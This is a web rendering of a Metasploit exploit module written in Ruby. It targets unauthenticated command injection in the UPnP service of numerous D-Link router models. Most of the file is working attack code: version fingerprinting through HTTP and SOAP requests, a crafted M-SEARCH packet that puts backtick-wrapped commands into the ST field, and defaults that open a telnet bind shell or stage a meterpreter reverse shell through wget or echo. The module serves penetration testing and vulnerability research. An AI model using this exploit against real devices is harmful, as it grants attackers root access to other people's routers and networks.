CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::Remote::Udp
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'D-Link Unauthenticated Remote Command Execution using UPnP via a special crafted M-SEARCH packet.',
19
'Description' => %q{
20
A command injection vulnerability exists in multiple D-Link network products, allowing an attacker
21
to inject arbitrary command to the UPnP via a crafted M-SEARCH packet.
22
Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900.
23
An attacker can perform a remote command execution by injecting the payload into the
24
`Search Target` (ST) field of the SSDP M-SEARCH discover packet.
25
After successful exploitation, an attacker will have full access with `root` user privileges.
26
27
NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads
28
when using the Linux Dropper target. Some D-Link devices do not have the `wget` command so
29
configure `echo` as flavor with the command set CMDSTAGER::FLAVOR echo.
30
31
The following D-Link network products and firmware are vulnerable:
32
- D-Link Router model GO-RT-AC750 revisions Ax with firmware v1.01 or older;
33
- D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older;
34
- D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older;
35
- D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older;
36
- D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older;
37
- D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older;
38
- D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older;
39
- D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older;
40
- D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older;
41
- D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older;
42
- D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older;
43
- D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older;
44
- D-Link Router model DIR-845L revisions Ax with firmware v1.02b05 or older;
45
- D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older;
46
- D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older;
47
- D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older;
48
- D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older;
49
- D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older;
50
- D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older;
51
- D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older;
52
- D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older;
53
- D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older;
54
- D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older;
55
- D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older;
56
- D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older;
57
- probably more looking at the scale of impacted devices :-(
58
},
59
'License' => MSF_LICENSE,
60
'Author' => [
61
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
62
'Zach Cutlip', # Discovery of the vulnerability
63
'Michael Messner <[email protected]>',
64
'Miguel Mendez Z. (s1kr10s)',
65
'Pablo Pollanco (secenv)',
66
'Naihsin https://github.com/naihsin'
67
68
],
69
'References' => [
70
['CVE', '2023-33625'],
71
['CVE', '2020-15893'],
72
['CVE', '2019-20215'],
73
['URL', 'https://attackerkb.com/topics/uqicA23ecz/cve-2023-33625'],
74
['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'],
75
['URL', 'https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73'],
76
['URL', 'https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'],
77
['URL', 'https://research.loginsoft.com/vulnerability/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/'],
78
['URL', 'https://github.com/naihsin/IoT/blob/main/D-Link/DIR-600/cmd%20injection/README.md']
79
],
80
'DisclosureDate' => '2013-02-01',
81
'Platform' => ['unix', 'linux'],
82
'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE],
83
'Privileged' => true,
84
'Targets' => [
85
[
86
'Unix Command',
87
{
88
'Platform' => 'unix',
89
'Arch' => ARCH_CMD,
90
'Type' => :unix_cmd,
91
'DefaultOptions' => {
92
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd'
93
}
94
}
95
],
96
[
97
'Linux Dropper',
98
{
99
'Platform' => 'linux',
100
'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE],
101
'Type' => :linux_dropper,
102
'CmdStagerFlavor' => ['echo', 'wget'],
103
'Linemax' => 900,
104
'DefaultOptions' => {
105
'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'
106
}
107
}
108
]
109
],
110
'DefaultTarget' => 0,
111
'DefaultOptions' => {
112
'RPORT' => 1900,
113
'SSL' => false
114
},
115
'Notes' => {
116
'Stability' => [CRASH_SAFE],
117
'Reliability' => [REPEATABLE_SESSION],
118
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
119
}
120
)
121
)
122
register_options([
123
OptString.new('URN', [true, 'Set URN payload', 'urn:device:1']),
124
OptPort.new('HTTP_PORT', [true, 'The HTTP port for the HTTP and SOAP requests sent to detect versions', 80])
125
])
126
end
127
128
def vuln_version?(res)
129
# checks the model, firmware and hardware version
130
@d_link = { 'product' => nil, 'firmware' => nil, 'hardware' => nil, 'arch' => nil }
131
html = Nokogiri.HTML(res.body, nil, 'UTF-8')
132
133
# USE CASE #1: D-link devices with static HTML pages with model and version information
134
# class identifiers: <span class="product">, <span class="version"> and <span class="hwversion">
135
# See USE CASE #4 for D-link devices that use javascript to dynamically generate the model and firmware version
136
product = html.css('span[@class="product"]')
137
@d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil?
138
firmware = html.css('span[@class="version"]')
139
@d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil?
140
141
# DIR-600, DIR-300 hardware B revision and maybe other models are using the "version" class tag for both firmware and hardware version
142
@d_link['hardware'] = firmware[1].text.split(':')[1].strip unless firmware[1].nil?
143
# otherwise search for the "hwversion" class tag
144
hardware = html.css('span[@class="hwversion"]')
145
@d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil?
146
147
# USE CASE #2: D-link devices with static HTML pages with model and version information
148
# class identifiers: <div class="pp">, <div class="fwv"> and <div class="hwv">
149
if @d_link['product'].nil?
150
product = html.css('div[@class="pp"]')
151
@d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil?
152
firmware = html.css('div[@class="fwv"]')
153
@d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil?
154
hardware = html.css('div[@class="hwv"]')
155
@d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil?
156
end
157
158
# USE CASE #3: D-link devices with html below for model, firmware and hardware version
159
# <td>Product Page&nbsp;:&nbsp;<a href='http://support.dlink.com.tw' target=_blank><font class=l_tb>DIR-300</font></a>&nbsp;&nbsp;&nbsp;</td>
160
# <td noWrap align="right">Hardware Version&nbsp;:&nbsp;rev N/A&nbsp;</td>
161
# <td noWrap align="right">Firmware Version&nbsp;:&nbsp;1.06&nbsp;</td>
162
if @d_link['product'].nil?
163
hwinfo_table = html.css('td')
164
hwinfo_table.each do |hwinfo|
165
@d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Product Page/i || hwinfo.text =~ /Product/i
166
@d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Hardware Version/i
167
@d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Firmware Version/i
168
end
169
end
170
171
# USE CASE #4: D-Link devices with HTML listed below that contains the model, firmware and hardware version
172
# <table id="header_container" border="0" cellpadding="5" cellspacing="0" width="838" align="center">
173
# <tr>
174
# <td width="100%">&nbsp;&nbsp;<script>show_words(TA2)</script>: <a href="http://support.dlink.com.tw/">DIR-835</a></td>
175
# <td align="right" nowrap><script>show_words(TA3)</script>: A1 &nbsp;</td>
176
# <td align="right" nowrap><script>show_words(sd_FWV)</script>: 1.04</td>
177
# <td>&nbsp;</td>
178
# </tr>
179
# </table>
180
if @d_link['product'].nil?
181
hwinfo_table = html.css('table#header_container td')
182
hwinfo_table.each do |hwinfo|
183
@d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA2\)/i
184
@d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA3\)/i
185
@d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(sd_FWV\)/i
186
end
187
end
188
189
# USE CASE #5: D-Link devices with dynamically generated version and hardware information
190
# Create HNAP POST request to get these hardware details
191
if @d_link['product'].nil?
192
xml_soap_data = <<~EOS
193
<?xml version="1.0" encoding="utf-8"?>
194
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
195
<soap:Body>
196
<GetDeviceSettings xmlns="http://purenetworks.com/HNAP1/" />
197
</soap:Body>
198
</soap:Envelope>
199
EOS
200
res = send_request_cgi({
201
'rport' => datastore['HTTP_PORT'],
202
'method' => 'POST',
203
'ctype' => 'text/xml',
204
'uri' => normalize_uri(target_uri.path, 'HNAP1', '/'),
205
'data' => xml_soap_data.to_s,
206
'headers' => {
207
'SOAPACTION' => '"http://purenetworks.com/HNAP1/GetDeviceSettings"'
208
}
209
})
210
if res && res.code == 200 && res.body.include?('<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>')
211
xml = res.get_xml_document
212
unless xml.blank?
213
xml.remove_namespaces!
214
@d_link['product'] = xml.css('ModelName').text
215
@d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ')
216
@d_link['hardware'] = xml.css('HardwareVersion').text
217
end
218
end
219
end
220
221
# USE CASE #6: D-Link devices with dynamically generated version and hardware information
222
# Create a DHMAPI POST request to get these hardware details
223
if @d_link['product'].nil?
224
xml_soap_data = <<~EOS
225
<?xml version="1.0" encoding="utf-8"?>
226
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
227
<soap:Body>
228
<GetDeviceSettings/>
229
</soap:Body>
230
</soap:Envelope>
231
EOS
232
res = send_request_cgi({
233
'rport' => datastore['HTTP_PORT'],
234
'method' => 'POST',
235
'ctype' => 'text/xml',
236
'uri' => normalize_uri(target_uri.path, 'DHMAPI', '/'),
237
'data' => xml_soap_data.to_s,
238
'headers' => {
239
'API-ACTION' => 'GetDeviceSettings'
240
}
241
})
242
if res && res.code == 200 && res.body.include?('<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>')
243
xml = res.get_xml_document
244
unless xml.blank?
245
xml.remove_namespaces!
246
@d_link['product'] = xml.css('ModelName').text
247
@d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ')
248
@d_link['hardware'] = xml.css('HardwareVersion').text
249
end
250
end
251
end
252
253
# check the vulnerable product and firmware versions
254
case @d_link['product']
255
when 'GO-RT-AC750'
256
@d_link['arch'] = 'mipsbe'
257
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.01') && @d_link['hardware'][0] == 'A'
258
when 'DIR-300'
259
if Rex::Version.new(@d_link['firmware']) >= Rex::Version.new('2.00') && Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.15') # hardware version B
260
@d_link['arch'] = 'mipsle'
261
return true
262
elsif Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') # hardware version A
263
@d_link['arch'] = 'mipsbe'
264
return true
265
end
266
when 'DIR-600'
267
@d_link['arch'] = 'mipsle'
268
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.18') && @d_link['hardware'][0] == 'B'
269
when 'DIR-645'
270
@d_link['arch'] = 'mipsle'
271
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
272
when 'DIR-815'
273
@d_link['arch'] = 'mipsle'
274
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04')
275
when 'DIR-816L'
276
@d_link['arch'] = 'mipsbe'
277
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.06') && (@d_link['hardware'][0] == 'B' || @d_link['hardware'] == 'N/A')
278
when 'DIR-817LW'
279
@d_link['arch'] = 'mipsbe'
280
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
281
when 'DIR-818LW', 'DIR-818L'
282
@d_link['arch'] = 'mipsbe'
283
return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.04') && @d_link['hardware'][0] == 'B'
284
285
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && @d_link['hardware'][0] == 'A'
286
when 'DIR-822'
287
@d_link['arch'] = 'mipsbe'
288
return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B'
289
290
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('3.12') && @d_link['hardware'][0] == 'C'
291
when 'DIR-823'
292
@d_link['arch'] = 'mipsbe'
293
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.00') && @d_link['hardware'][0] == 'A'
294
when 'DIR-845L'
295
@d_link['arch'] = 'mipsle'
296
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.02') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
297
when 'DIR-850L'
298
@d_link['arch'] = 'mipsbe'
299
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
300
when 'DIR-859'
301
@d_link['arch'] = 'mipsbe'
302
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') && @d_link['hardware'][0] == 'A'
303
when 'DIR-860L'
304
@d_link['arch'] = 'armle'
305
return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.10') && @d_link['hardware'][0] == 'A'
306
307
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B'
308
when 'DIR-865L'
309
@d_link['arch'] = 'mipsle'
310
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.07') && @d_link['hardware'][0] == 'A'
311
when 'DIR-868L'
312
@d_link['arch'] = 'armle'
313
return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'
314
315
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.05') && @d_link['hardware'][0] == 'B'
316
when 'DIR-869'
317
@d_link['arch'] = 'mipsbe'
318
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.03') && @d_link['hardware'][0] == 'A'
319
when 'DIR-880L'
320
@d_link['arch'] = 'armle'
321
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.08') && @d_link['hardware'][0] == 'A'
322
when 'DIR-890L', 'DIR-890R'
323
@d_link['arch'] = 'armle'
324
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.11') && @d_link['hardware'][0] == 'A'
325
when 'DIR-885L', 'DIR-885R'
326
@d_link['arch'] = 'armle'
327
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'
328
when 'DIR-895L', 'DIR-895R'
329
@d_link['arch'] = 'armle'
330
return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'
331
end
332
false
333
end
334
335
def execute_command(cmd, _opts = {})
336
payload = "#{datastore['URN']};`#{cmd}`"
337
338
connect_udp
339
header = "M-SEARCH * HTTP/1.1\r\n"
340
header << 'HOST:' + datastore['RHOST'].to_s + ':' + datastore['RPORT'].to_s + "\r\n"
341
header << "ST:#{payload}\r\n"
342
header << "MX:2\r\n"
343
header << "MAN:\"ssdp:discover\"\r\n\r\n"
344
udp_sock.put(header)
345
disconnect_udp
346
end
347
348
def check
349
print_status("Checking if #{peer} can be exploited.")
350
res = send_request_cgi!({
351
'rport' => datastore['HTTP_PORT'],
352
'method' => 'GET',
353
'ctype' => 'application/x-www-form-urlencoded',
354
'uri' => normalize_uri(target_uri.path)
355
})
356
# Check if target is a D-Link network device
357
return CheckCode::Unknown('No response received from target.') unless res
358
return CheckCode::Safe('Likely not a D-Link network device.') unless res.code == 200 && res.body =~ /d-?link/i
359
360
# check if firmware version is vulnerable
361
return CheckCode::Appears("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") if vuln_version?(res)
362
# D-link devices with fixed firmware versions
363
return CheckCode::Safe("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['arch'].nil?
364
# D-link devices that still could be vulnerable with product information
365
return CheckCode::Detected("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['product'].nil?
366
367
# D-link devices that still could be vulnerable but no product information available
368
return CheckCode::Detected
369
end
370
371
def exploit
372
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
373
case target['Type']
374
when :unix_cmd
375
execute_command(payload.encoded)
376
when :linux_dropper
377
# Don't check the response here since the server won't respond
378
# if the payload is successfully executed.
379
execute_cmdstager({ linemax: target.opts['Linemax'] })
380
end
381
end
382
end
383
384